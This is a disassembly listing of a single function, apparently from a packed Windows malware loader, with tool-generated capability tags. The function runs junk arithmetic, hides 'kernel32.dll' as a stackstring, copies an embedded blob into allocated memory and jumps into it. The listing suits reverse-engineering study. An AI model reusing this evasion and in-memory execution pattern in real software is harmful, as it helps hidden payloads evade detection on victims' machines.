Function at 0x4028ba
Capabilities:
Contain obfuscated stackstrings
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xbf4
push ebx
xor ebx, ebx
cmp dword [0x64464c], 0x20a
push esi
jne 0x402916
lea eax, [ebp - 0x3f4]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStrings]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_EnumSystemLocalesW]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
push ebx
push ebx
call fcn.00403994
push 0x929
push 0xea
call fcn.00403624
push ebx
call fcn.00403c26
add esp, 0x14
xor ecx, ecx
cmp ecx, 0xbcd043
jge 0x40337e
mov dword [ebp - 0x23c], 0x5a9f9939
mov dword [ebp - 0xa8], 0x2005737f
mov dword [ebp - 0x220], 0x54ed839a
mov dword [ebp - 0x78], 0x28b17089
mov dword [ebp - 0x11c], 0x4e613c4e
mov dword [ebp - 0x234], 0x26b4a1ef
mov dword [ebp - 0x290], 0x5df0a90e
mov dword [ebp - 0xb4], 0x52b8e0e8
mov dword [ebp - 8], 0x1bc40e30
mov dword [ebp - 0x28], 0xcf4d856
mov dword [ebp - 0x1a8], 0x2f67818a
mov dword [ebp - 0x190], 0x32214d84
mov dword [ebp - 4], 0x7c605821
mov dword [ebp - 0x1dc], 0x6a490e6a
mov dword [ebp - 0x70], 0x3091e108
mov dword [ebp - 0xc8], 0x7eb4ee47
mov dword [ebp - 0xa0], 0x6ac27fda
mov dword [ebp - 0x288], 0x446298b
mov dword [ebp - 0x114], 0xb60b06c
mov dword [ebp - 0x68], 0x587a6b33
mov dword [ebp - 0x5c], 0x3dded440
mov dword [ebp - 0x1b8], 0x1227652c
mov dword [ebp - 0x10c], 0x4ba5bda
mov dword [ebp - 0x188], 0x737be082
mov dword [ebp - 0x60], 0x50cbc9cb
mov dword [ebp - 0x194], 0x78c85680
mov dword [ebp - 0x218], 0x7a03dc3b
mov dword [ebp - 0x54], 0x483b6f9c
mov dword [ebp - 0x4c], 0x559b1cff
mov dword [ebp - 0xac], 0x265fa6c8
mov dword [ebp - 0x168], 0x6787fd83
mov dword [ebp - 0x2a0], 0x646c085c
mov dword [ebp - 0x18c], 0x2f2cb00a
mov dword [ebp - 0x1e8], 0x4d6d7525
mov dword [ebp - 0x58], 0x2e2db44e
mov dword [ebp - 0x184], 0x615d6e08
mov dword [ebp - 0x15c], 0x154aab74
mov dword [ebp - 0x228], 0x75bb0d7d
mov dword [ebp - 0x104], 0x6cf45601
mov dword [ebp - 0x20], 0x547781b7
mov dword [ebp - 0x22c], 0x2e65414a
mov dword [ebp - 0xe0], 0x1d862b5d
mov dword [ebp - 0x2a8], 0x5b414a0b
mov dword [ebp - 0x238], 0x2027e399
mov dword [ebp - 0x98], 0x5423fcbc
mov dword [ebp - 0xfc], 0x71e42d58
mov dword [ebp - 0x1d4], 0x28e5bff7
mov dword [ebp - 0xf4], 0x7d358011
mov dword [ebp - 0xa4], 0x55d66823
mov dword [ebp - 0x44], 0x11c53f30
mov dword [ebp - 0x224], 0x6c27265a
mov dword [ebp - 0x9c], 0x638fabe5
mov dword [ebp - 0x298], 0xfa972dc
mov dword [ebp - 0x120], 0x585cef59
mov dword [ebp - 0x180], 0x5f87b0dd
mov dword [ebp - 0x28c], 0x781f8357
mov dword [ebp - 0x158], 0x407cc191
mov dword [ebp - 0x248], 0x71387130
mov dword [ebp - 0x154], 0x68d96b25
mov dword [ebp - 0x14c], 0x44f72b4f
mov dword [ebp - 0x21c], 0xed64d7a
mov dword [ebp - 0x118], 0x12cb7a2e
mov dword [ebp - 0x50], 0x6fa206a2
mov dword [ebp - 0x260], 0x6cf7f6db
mov dword [ebp - 0x17c], 0x6f82a0b5
mov dword [ebp - 0x274], 0x7c3ade2e
mov dword [ebp - 0x200], 0xaa70197
mov dword [ebp - 0x1a0], 0x278caf26
mov dword [ebp - 0x90], 0x1f8218de
mov dword [ebp - 0x214], 0xf520107
mov dword [ebp - 0x1cc], 0x78d20988
mov dword [ebp - 0x48], 0x7afd1ba
mov dword [ebp - 0xd8], 0x2c4a94bf
mov dword [ebp - 0x1e0], 0x37265bf9
mov dword [ebp - 0x94], 0x7f0691dc
mov dword [ebp - 0x1c4], 0x573b975
mov dword [ebp - 0x3c], 0x5c72ad7c
mov dword [ebp - 0x1c0], 0x558e020
mov dword [ebp - 0x150], 0x6dca8d93
mov dword [ebp - 0x110], 0x3b244f69
mov dword [ebp - 0x34], 0x1468c94e
mov dword [ebp - 0x8c], 0x5ab7c260
mov dword [ebp - 0x144], 0x20e98555
mov dword [ebp - 0x13c], 0x130f3a77
mov dword [ebp - 0x2c], 0x3a5f5ee8
mov dword [ebp - 0x20c], 0x21e60348
mov dword [ebp - 0x208], 0x40f8ba31
mov dword [ebp - 0x278], 0x679a298a
mov dword [ebp - 0x204], 0x5a7e8c2e
mov dword [ebp - 0x108], 0xc4ba0ce
mov dword [ebp - 0x18], 0x6825863d
mov dword [ebp - 0xd0], 0x1d198b17
mov dword [ebp - 0x268], 0x75c77596
mov dword [ebp - 0xec], 0x4426cf7d
mov dword [ebp - 0x1fc], 0x31322a4c
mov dword [ebp - 0xe4], 0x4e50df79
mov dword [ebp - 0xc0], 0x3d2e523d
mov dword [ebp - 0x294], 0x636b67e1
mov dword [ebp - 0x178], 0xa4eaf4d
mov dword [ebp - 0x148], 0x47d33ede
mov dword [ebp - 0x1d8], 0x838c246
mov dword [ebp - 0x88], 0x475aeb05
mov dword [ebp - 0x1f4], 0x6e804802
mov dword [ebp - 0x174], 0x2356143b
mov dword [ebp - 0x100], 0x3284b288
mov dword [ebp - 0x230], 0x215ddd80
mov dword [ebp - 0x240], 0x43001d08
mov dword [ebp - 0x26c], 0x5dd4d372
mov dword [ebp - 0x1f8], 0x1f5fee15
mov dword [ebp - 0x270], 0x4aa8a2c2
mov dword [ebp - 0x160], 0x5d2b45cb
mov dword [ebp - 0x40], 0x13a26bf8
mov dword [ebp - 0x140], 0x729131e9
mov dword [ebp - 0x264], 0x481267f
mov dword [ebp - 0xf8], 0x283f2546
mov dword [ebp - 0x1ec], 0x20aaa540
mov dword [ebp - 0x250], 0x62aa96f3
mov dword [ebp - 0xb8], 0x49a92fd9
mov dword [ebp - 0x84], 0x22d7fb63
mov dword [ebp - 0x24], 0x390293cf
mov dword [ebp - 0x1c], 0x637c4154
mov dword [ebp - 0x210], 0x95e5a37
mov dword [ebp - 0x7c], 0x7b5a55bc
mov dword [ebp - 0x10], 0x37b3d9f2
mov dword [ebp - 0x25c], 0x3d6779fa
mov dword [ebp - 0x14], 0x45476ad4
mov dword [ebp - 0x1bc], 0x7845e460
mov dword [ebp - 0x254], 0x38b74787
mov dword [ebp - 0xdc], 0x888b796
mov dword [ebp - 0x138], 0x5d13a243
mov dword [ebp - 0x280], 0x731062d6
mov dword [ebp - 0x1d0], 0xabb7b5b
mov dword [ebp - 0x134], 0x4ba8a95a
mov dword [ebp - 0xd4], 0x57424970
mov dword [ebp - 0xcc], 0x691b126a
mov dword [ebp - 0x1b0], 0x3727823c
mov dword [ebp - 0xb0], 0x22a62b70
mov dword [ebp - 0x128], 0x5d7bb0f
mov dword [ebp - 0xf0], 0x3e275197
mov dword [ebp - 0x284], 0x467f9773
mov dword [ebp - 0xc4], 0x79e319da
mov dword [ebp - 0x24c], 0x6e53c263
mov dword [ebp - 0x1f0], 0xf173702
mov dword [ebp - 0x244], 0x14f532b7
mov dword [ebp - 0x258], 0x42a0674a
mov dword [ebp - 0x198], 0x421363fc
mov dword [ebp - 0x38], 0x43ffb8eb
mov dword [ebp - 0x170], 0x45639c1d
mov dword [ebp - 0x74], 0x6f23b641
mov dword [ebp - 0x80], 0x430202cb
mov dword [ebp - 0x1b4], 0x27a321bc
mov dword [ebp - 0xbc], 0x7255fa29
mov dword [ebp - 0x6c], 0x4ec0e849
mov dword [ebp - 0x1ac], 0x21ef19b5
mov dword [ebp - 0x1e4], 0x7dd761a7
mov dword [ebp - 0x27c], 0x6d45c4bd
mov dword [ebp - 0x130], 0x735845b8
mov dword [ebp - 0x16c], 0x4de88cff
mov dword [ebp - 0x64], 0x78c31304
mov dword [ebp - 0xe8], 0x7ae7b269
mov dword [ebp - 0x1a4], 0x30490ede
mov dword [ebp - 0x19c], 0x28fa1153
mov dword [ebp - 0x30], 0x508b4c55
mov dword [ebp - 0x164], 0x435fa442
mov dword [ebp - 0x12c], 0x2292a639
mov dword [ebp - 0x1c8], 0x49bd8c86
mov dword [ebp - 0x124], 0x683e0156
mov dword [ebp - 0xc], 0x26232f86
sub dword [ebp - 0x23c], 0x634f73c1
sub dword [ebp - 0xa8], 0x439d049
sub dword [ebp - 0x23c], 0x553aa04a
mov eax, 0x6c3d3e87
mul dword [ebp - 0x11c]
mov eax, dword [ebp - 0x11c]
add dword [ebp - 0xa8], 0x3e64d501
sub dword [ebp - 0x23c], 0x5b02dfb
add dword [ebp - 0x78], 0x7a2e9b9f
sub dword [ebp - 0xa8], 0x63e9f9c4
sub dword [ebp - 0x220], 0x10bc6093
mov eax, 0x1b97c8d7
mul dword [ebp - 0x220]
mov eax, dword [ebp - 0x220]
add dword [ebp - 0x11c], 0x464a0934
mov eax, 0x53954930
mul dword [ebp - 0x234]
mov eax, dword [ebp - 0x234]
add dword [ebp - 0x23c], 0x64b1a700
add dword [ebp - 0x290], 0x4212ce79
add dword [ebp - 0x78], 0x56660a07
add dword [ebp - 0x23c], 0x52f6e353
sub dword [ebp - 0x78], 0x5ccde698
sub dword [ebp - 0x11c], 0x368139c9
sub dword [ebp - 0xa8], 0x1bc820e0
sub dword [ebp - 0x78], 0x63bef1e0
mov eax, 0x4ae79aad
mul dword [ebp - 0x290]
mov eax, dword [ebp - 0x290]
add dword [ebp - 0x23c], 0x67b7ba72
mov eax, 0x2cbe57c3
mul dword [ebp - 0x11c]
mov eax, dword [ebp - 0x11c]
add dword [ebp - 0x11c], 0x1483e835
sub dword [ebp - 0xa8], 0x2969fe8c
add dword [ebp - 0x78], 0x3bde8f07
add dword [ebp - 0x220], 0x54067247
add dword [ebp - 0x290], 0x5715b1b3
mov eax, 0xb884054
mul dword [ebp - 0xb4]
mov eax, dword [ebp - 0xb4]
sub dword [ebp - 0x78], 0x76ac158a
add dword [ebp - 0x220], 0x72d37189
sub dword [ebp - 0x23c], 0x5e427ef1
add dword [ebp - 0x23c], 0x108439ef
sub dword [ebp - 0x290], 0x40d85a6f
mov eax, 0x3d813ef1
mul dword [ebp - 0x220]
mov eax, dword [ebp - 0x220]
sub dword [ebp - 0x78], 0x48b67972
mov eax, 0x63a20cca
mul dword [ebp - 0x220]
mov eax, dword [ebp - 0x220]
sub dword [ebp - 0x78], 0x77205e6e
sub dword [ebp - 0x28], 0x7e8324df
mov eax, 0x496c1dcc
mul dword [ebp - 0x290]
mov eax, dword [ebp - 0x290]
sub dword [ebp - 0x220], 0x7fc7589
sub dword [ebp - 8], 0x709edc87
mov eax, 0x5f8e408c
mul dword [ebp - 0x1dc]
mov eax, dword [ebp - 0x1dc]
sub dword [ebp - 0x11c], 0x467d01c6
mov eax, 0x4f54bf53
mul dword [ebp - 0x1a8]
mov eax, dword [ebp - 0x1a8]
mov eax, 0x7315dbf2
mul dword [ebp - 0x290]
mov eax, dword [ebp - 0x290]
mov eax, 0xee0dbbe
mul dword [ebp - 0x70]
mov eax, dword [ebp - 0x70]
mov eax, 0x75b9e397
mul dword [ebp - 0x190]
mov eax, dword [ebp - 0x190]
sub dword [ebp - 0x28], 0x5e55f18a
sub dword [ebp - 0x1a8], 0x377880eb
sub dword [ebp - 0x11c], 0x46b5302d
sub dword [ebp - 0x220], 0x332975ce
mov eax, 0x1d445e2f
mul dword [ebp - 0x190]
mov eax, dword [ebp - 0x190]
sub dword [ebp - 8], 0x72794e6f
mov eax, 0x1dfebc62
mul dword [ebp - 0xa8]
mov eax, dword [ebp - 0xa8]
sub dword [ebp - 0x220], 0xb6fab2a
add dword [ebp - 0x68], 0x4b04944c
mov eax, 0x5f40bffb
mul dword [ebp - 0x78]
mov eax, dword [ebp - 0x78]
add dword [ebp - 0x70], 0x49af201a
mov eax, 0x7a71047b
mul dword [ebp - 0x70]
mov eax, dword [ebp - 0x70]
sub dword [ebp - 4], 0xb5ba4d8
add dword [ebp - 0x23c], 0x13cb481f
sub dword [ebp - 0x234], 0x34cfe13d
add dword [ebp - 8], 0x9516d35
add dword [ebp - 0x1a8], 0x1eea1735
add dword [ebp - 0x220], 0x48e9eda6
sub dword [ebp - 0x234], 0xd58a381
add dword [ebp - 0x1b8], 0x56d39478
mov eax, 0x71b56202
mul dword [ebp - 0x1dc]
mov eax, dword [ebp - 0x1dc]
add dword [ebp - 0x70], 0x5438305b
sub dword [ebp - 0x190], 0x6edd1305
mov eax, 0x565569cd
mul dword [ebp - 0x234]
mov eax, dword [ebp - 0x234]
mov eax, 0x2394f7df
mul dword [ebp - 0xa8]
mov eax, dword [ebp - 0xa8]
sub dword [ebp - 0x5c], 0x1c06c5db
add dword [ebp - 0x78], 0x6b8dc39e
add dword [ebp - 0xc8], 0x3021e560
sub dword [ebp - 0x68], 0x2013c6b4
mov eax, 0x43e48f3e
mul dword [ebp - 0x288]
mov eax, dword [ebp - 0x288]
mov eax, 0x7425800b
mul dword [ebp - 0x188]
mov eax, dword [ebp - 0x188]
add dword [ebp - 0x234], 0x16c6567d
mov eax, 0x1505372
mul dword [ebp - 0x68]
mov eax, dword [ebp - 0x68]
sub dword [ebp - 0x68], 0x5e32be32
add dword [ebp - 0x190], 0x53c6fc3f
add dword [ebp - 0xa0], 0x7ad296b8
add dword [ebp - 0x188], 0x63bb69ce
mov eax, 0x18ab9d22
mul dword [ebp - 0x23c]
mov eax, dword [ebp - 0x23c]
mov eax, 0x19cc0199
mul dword [ebp - 0x78]
mov eax, dword [ebp - 0x78]
sub dword [ebp - 0xac], 0x35419f9
sub dword [ebp - 0x218], 0xa989883
mov eax, 0x56c9a8ed
mul dword [ebp - 0x168]
mov eax, dword [ebp - 0x168]
add dword [ebp - 0x220], 0x5f184670
add dword [ebp - 0xc8], 0x2bb81875
add dword [ebp - 0x288], 0x4276409a
sub dword [ebp - 0x220], 0x70065834
add dword [ebp - 0x1a8], 0xb59529a
sub dword [ebp - 0x188], 0x70ee16cc
sub dword [ebp - 0x218], 0x63a3345b
cmp ecx, 0xf02c755
jg 0x403393
inc ecx
cmp ecx, 0x70676162
jl 0x402918
push 0x42f8f0
mov byte [0x42f8f6], 0x33
mov byte [0x42f8f7], 0x32
mov byte [0x42f8f8], 0x2e
mov byte [0x42f8f3], 0x6e
mov byte [0x42f8f4], 0x65
mov byte [0x42f8f5], 0x6c
mov byte [0x42f8f9], 0x64
mov byte [0x42f8fa], 0x6c
mov byte [0x42f8fb], 0x6c
mov byte [0x42f8fc], bl
mov byte [0x42f8f0], 0x6b
mov byte [0x42f8f1], 0x65
mov byte [0x42f8f2], 0x72
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push dword [0x64464c]
mov dword [0x6444ec], eax
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [0x6444e8], eax
call fcn.0040289f
mov eax, dword [0x427f6c]
xor esi, esi
mov dword [0x644650], eax
cmp dword [0x64464c], ebx
jbe 0x403472
mov eax, dword [0x644650]
mov al, byte [esi + eax + 0xb2d3b]
mov ecx, dword [0x6444e8]
mov byte [esi + ecx], al
cmp dword [0x64464c], 0x44
jne 0x403469
push ebx
lea eax, [ebp - 0x7f4]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleTitleA]
push ebx
lea eax, [ebp - 4]
push eax
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_WriteConsoleA]
push ebx
call dword [sym.imp.KERNEL32.dll_LocalFree]
inc esi
cmp esi, dword [0x64464c]
jb 0x403428
xor esi, esi
mov eax, dword [0x64464c]
add eax, esi
cmp eax, 0x5e
jne 0x403496
push ebx
lea eax, [ebp - 0xbf4]
push eax
push ebx
push 0x402470
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_LCMapStringW]
inc esi
cmp esi, 0x40c893
jl 0x403474
call fcn.004027ef
xor ecx, ecx
cmp ecx, 0xc06
jne 0x4034b3
call fcn.00402885
inc ecx
cmp ecx, 0x246b35
jl 0x4034a6
push 0x7b
pop esi
cmp dword [0x64464c], 0xd
jne 0x40350e
push 0x30
lea eax, [ebp - 0x2dc]
push ebx
push eax
mov dword [ebp - 0x2e0], ebx
call fcn.00407300
add esp, 0xc
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x2e0]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetDefaultCommConfigA]
lea eax, [ebp - 0x2a4]
push eax
lea eax, [ebp - 0x2ac]
push eax
lea eax, [ebp - 0x29c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileTime]
dec esi
jne 0x4034bf
call dword [0x6444e8]
pop esi
pop ebx
leave
ret